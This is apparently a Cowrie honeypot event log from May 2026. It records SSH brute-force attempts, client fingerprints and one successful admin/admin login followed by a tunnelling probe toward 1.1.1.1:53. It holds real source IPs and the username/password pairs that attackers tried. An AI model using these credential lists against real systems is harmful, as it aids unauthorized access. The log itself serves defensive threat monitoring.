{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:51:43.696739Z","src_ip":"87.251.64.176","session":"8f77d58b9e38","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:51:43.986999Z","src_ip":"87.251.64.176","session":"8f77d58b9e38","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:51:44.090493Z","session":"8f77d58b9e38","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:51:44.189292Z","src_ip":"87.251.64.176","session":"8f77d58b9e38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:51:44.422235Z","src_ip":"87.251.64.176","session":"8f77d58b9e38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:51:44.766772Z","src_ip":"221.161.235.168","session":"cbcb32831602","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.167.237.191","src_port":48764,"dst_ip":"159.203.135.109","dst_port":22,"session":"669948021b8b","protocol":"ssh","message":"New connection: 190.167.237.191:48764 (159.203.135.109:22) [session: 669948021b8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:51:52.321678Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:51:52.326436Z","src_ip":"190.167.237.191","session":"669948021b8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:51:52.387925Z","src_ip":"190.167.237.191","session":"669948021b8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd-sync","password":"warnight","message":"login attempt [systemd-sync/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:51:52.657094Z","src_ip":"190.167.237.191","session":"669948021b8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:51:53.719666Z","src_ip":"190.167.237.191","session":"669948021b8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.161.235.168","src_port":60094,"dst_ip":"159.203.135.109","dst_port":22,"session":"30265808af50","protocol":"ssh","message":"New connection: 221.161.235.168:60094 (159.203.135.109:22) [session: 30265808af50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:52:21.804899Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:52:21.810054Z","src_ip":"221.161.235.168","session":"30265808af50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:52:22.006229Z","src_ip":"221.161.235.168","session":"30265808af50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty1234567890","message":"login attempt [root/qwerty1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:52:22.807513Z","src_ip":"221.161.235.168","session":"30265808af50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:52:24.006979Z","src_ip":"221.161.235.168","session":"30265808af50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.59.208.49","src_port":54156,"dst_ip":"159.203.135.109","dst_port":22,"session":"896e5f916424","protocol":"ssh","message":"New connection: 139.59.208.49:54156 (159.203.135.109:22) [session: 896e5f916424]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:52:27.054410Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:52:27.059360Z","src_ip":"139.59.208.49","session":"896e5f916424","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:52:27.140966Z","src_ip":"139.59.208.49","session":"896e5f916424","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin1234","message":"login attempt [root/admin1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:52:27.501865Z","src_ip":"139.59.208.49","session":"896e5f916424","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:52:28.586723Z","src_ip":"139.59.208.49","session":"896e5f916424","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.49","src_port":51406,"dst_ip":"159.203.135.109","dst_port":22,"session":"835699838ac4","protocol":"ssh","message":"New connection: 165.154.6.49:51406 (159.203.135.109:22) [session: 835699838ac4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:52:32.121622Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:52:32.125771Z","src_ip":"165.154.6.49","session":"835699838ac4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:52:32.341974Z","src_ip":"165.154.6.49","session":"835699838ac4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhxnephu","password":"zXXUKpvydMqzp1quBItn","message":"login attempt [zhxnephu/zXXUKpvydMqzp1quBItn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:52:33.227471Z","src_ip":"165.154.6.49","session":"835699838ac4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:52:34.444587Z","src_ip":"165.154.6.49","session":"835699838ac4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.147.30.59","src_port":50973,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b2831880211","protocol":"ssh","message":"New connection: 88.147.30.59:50973 (159.203.135.109:22) [session: 5b2831880211]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:52:41.834419Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:52:41.838778Z","src_ip":"88.147.30.59","session":"5b2831880211","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:52:41.959948Z","src_ip":"88.147.30.59","session":"5b2831880211","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhxnephu","password":"zXXUKpvydMqzp1quBItn","message":"login attempt [zhxnephu/zXXUKpvydMqzp1quBItn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:52:42.477737Z","src_ip":"88.147.30.59","session":"5b2831880211","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:52:43.602252Z","src_ip":"88.147.30.59","session":"5b2831880211","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.155.125.131","src_port":48478,"dst_ip":"159.203.135.109","dst_port":22,"session":"8cce2d183fc8","protocol":"ssh","message":"New connection: 124.155.125.131:48478 (159.203.135.109:22) [session: 8cce2d183fc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:52:47.581941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:52:47.586647Z","src_ip":"124.155.125.131","session":"8cce2d183fc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:52:47.768162Z","src_ip":"124.155.125.131","session":"8cce2d183fc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"udev-monitor","password":"warnight","message":"login attempt [udev-monitor/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:52:48.503238Z","src_ip":"124.155.125.131","session":"8cce2d183fc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:52:49.682826Z","src_ip":"124.155.125.131","session":"8cce2d183fc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.113.47.155","src_port":48784,"dst_ip":"159.203.135.109","dst_port":22,"session":"14ebdb4dfd88","protocol":"ssh","message":"New connection: 189.113.47.155:48784 (159.203.135.109:22) [session: 14ebdb4dfd88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:52:49.805255Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:52:49.810835Z","src_ip":"189.113.47.155","session":"14ebdb4dfd88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:52:49.926433Z","src_ip":"189.113.47.155","session":"14ebdb4dfd88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"124578","message":"login attempt [root/124578] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:52:50.419047Z","src_ip":"189.113.47.155","session":"14ebdb4dfd88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:52:51.537140Z","src_ip":"189.113.47.155","session":"14ebdb4dfd88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.69.27","src_port":55426,"dst_ip":"10.17.0.5","dst_port":23,"session":"7369b538cb4a","protocol":"telnet","message":"New connection: 142.93.69.27:55426 (10.17.0.5:23) [session: 7369b538cb4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:52:52.605380Z"}
{"eventid":"cowrie.session.connect","src_ip":"221.161.235.168","src_port":43534,"dst_ip":"159.203.135.109","dst_port":22,"session":"5841e955c8cb","protocol":"ssh","message":"New connection: 221.161.235.168:43534 (159.203.135.109:22) [session: 5841e955c8cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:53:00.024517Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:53:00.033444Z","src_ip":"221.161.235.168","session":"5841e955c8cb","protocol":"ssh"}
